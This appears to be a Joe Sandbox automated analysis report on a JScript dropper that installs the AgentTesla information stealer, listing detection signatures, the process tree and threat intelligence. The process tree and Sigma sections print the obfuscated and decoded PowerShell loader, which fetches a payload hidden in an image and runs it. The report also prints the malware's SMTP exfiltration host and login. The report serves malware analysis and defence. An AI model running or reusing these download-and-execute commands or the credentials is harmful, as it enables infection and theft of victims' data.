Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js

Overview

General Information

Sample name:INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js
Analysis ID:1501719
MD5:e4b82b3738d246e3734ac96ac87dc0e8
SHA1:34e616d4a1ddeb444b43af44ef5a89fe40200c51
SHA256:c95e9d8f6e53233a7c10c496b19a66858c52c013d426f3d566ae978071a4dce6
Tags:js
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell download and load assembly
Sigma detected: RegAsm connects to smtp port
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected AntiVM3
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 7472 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 7564 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBF? ? ? ? ?E4? ? ? ? ?R? ? ? ? ?? ? ? ? ?+? ? ? ? ?D4? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?E8? ? ? ? ?Zg? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?TwBm? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?Gc? ? ? ? ?ZQ? ? ? ? ?g? ? ? ? ?D? ? ? ? ?? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?Gc? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cs? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?LgBM? ? ? ? ?GU? ? ? ? ?bgBn? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bz? ? ? ? ?HQ? ? ? ? ?YQBy? ? ? ? ?HQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BD? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBT? ? ? ? ?HU? ? ? ? ?YgBz? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?s? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BM? ? ? ? ?GU? ? ? ? ?bgBn? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bj? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?QwBv? ? ? ? ?G4? ? ? ? ?dgBl? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?Bd? ? ? ? ?Do? ? ? ? ?OgBG? ? ? ? ?HI? ? ? ? ?bwBt? ? ? ? ?EI? ? ? ? ?YQBz? ? ? ? ?GU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BD? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gw? ? ? ? ?bwBh? ? ? ? ?GQ? ? ? ? ?ZQBk? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQ? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?UgBl? ? ? ? ?GY? ? ? ? ?b? ? ? ? ?Bl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?Bp? ? ? ? ?G8? ? ? ? ?bg? ? ? ? ?u? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQBd? ? ? ? ?Do? ? ? ? ?OgBM? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bj? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?B0? ? ? ? ?Hk? ? ? ? ?c? ? ? ? ?Bl? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GQ? ? ? ? ?QQBz? ? ? ? ?HM? ? ? ? ?ZQBt? ? ? ? ?GI? ? ? ? ?b? ? ? ? ?B5? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?V? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bu? ? ? ? ?Gw? ? ? ? ?aQBi? ? ? ? ?C4? ? ? ? ?SQBP? ? ? ? ?C4? ? ? ? ?S? ? ? ? ?Bv? ? ? ? ?G0? ? ? ? ?ZQ? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?G0? ? ? ? ?ZQB0? ? ? ? ?Gg? ? ? ? ?bwBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?d? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?E0? ? ? ? ?ZQB0? ? ? ? ?Gg? ? ? ? ?bwBk? ? ? ? ?Cg? ? ? ? ?JwBW? ? ? ? ?EE? ? ? ? ?SQ? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?LgBJ? ? ? ? ?G4? ? ? ? ?dgBv? ? ? ? ?Gs? ? ? ? ?ZQ? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?bgB1? ? ? ? ?Gw? ? ? ? ?b? ? ? ? ?? ? ? ? ?s? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBv? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?Bb? ? ? ? ?F0? ? ? ? ?XQ? ? ? ? ?g? ? ? ? ?Cg? ? ? ? ?JwB0? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?RwBS? ? ? ? ?E8? ? ? ? ?LwBn? ? ? ? ?G8? ? ? ? ?b? ? ? ? ?? ? ? ? ?v? ? ? ? ?G0? ? ? ? ?bwBj? ? ? ? ?C4? ? ? ? ?bwBu? ? ? ? ?GE? ? ? ? ?c? ? ? ? ?Bu? ? ? ? ?GE? ? ? ? ?c? ? ? ? ?Bl? ? ? ? ?C8? ? ? ? ?Lw? ? ? ? ?6? ? ? ? ?HM? ? ? ? ?c? ? ? ? ?B0? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?MQ? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Qw? ? ? ? ?6? ? ? ? ?Fw? ? ? ? ?U? ? ? ? ?By? ? ? ? ?G8? ? ? ? ?ZwBy? ? ? ? ?GE? ? ? ? ?bQBE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Fw? ? ? ? ?Jw? ? ? ? ?g? ? ? ? ?Cw? ? ? ? ?I? ? ? ? ?? ? ? ? ?n? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?By? ? ? ? ?G8? ? ? ? ?c? ? ? ? ?Bo? ? ? ? ?Gk? ? ? ? ?YQBu? ? ? ? ?HQ? ? ? ? ?ZQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBS? ? ? ? ?GU? ? ? ? ?ZwBB? ? ? ? ?HM? ? ? ? ?bQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBk? ? ? ? ?GU? ? ? ? ?cwBh? ? ? ? ?HQ? ? ? ? ?aQB2? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?Bv? ? ? ? ?Cc? ? ? ? ?KQ? ? ? ? ?p? ? ? ? ?? ? ? ? ?==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('? ? ? ? ?','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • cmd.exe (PID: 7856 cmdline: "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 7864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • RegAsm.exe (PID: 7944 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Agent Tesla, AgentTeslaA .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.2699963900.0000000002C4E000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000007.00000002.2699963900.0000000002C71000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
          00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            Click to see the 12 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            7.2.RegAsm.exe.400000.0.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
              7.2.RegAsm.exe.400000.0.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                7.2.RegAsm.exe.400000.0.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                  7.2.RegAsm.exe.400000.0.unpackINDICATOR_SUSPICIOUS_EXE_VaultSchemaGUIDDetects executables referencing Windows vault credential objects. Observed in infostealersditekSHen
                  • 0x35b0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
                  • 0x35b81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55
                  • 0x35c0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F
                  • 0x35c9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
                  • 0x35d07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
                  • 0x35d79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
                  • 0x35e0f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
                  • 0x35e9f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
                  4.2.powershell.exe.1a8e949b578.1.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                    Click to see the 6 entries

                    Other

                    SourceRuleDescriptionAuthorStrings
                    amsi64_7728.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

                      Sigma Signatures

                      Networking

                      barindex
                      Sigma detected: RegAsm connects to smtp port
                      Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 185.230.212.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 7944, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49708

                      System Summary

                      barindex
                      Sigma detected: Base64 Encoded PowerShell Command Detected
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? 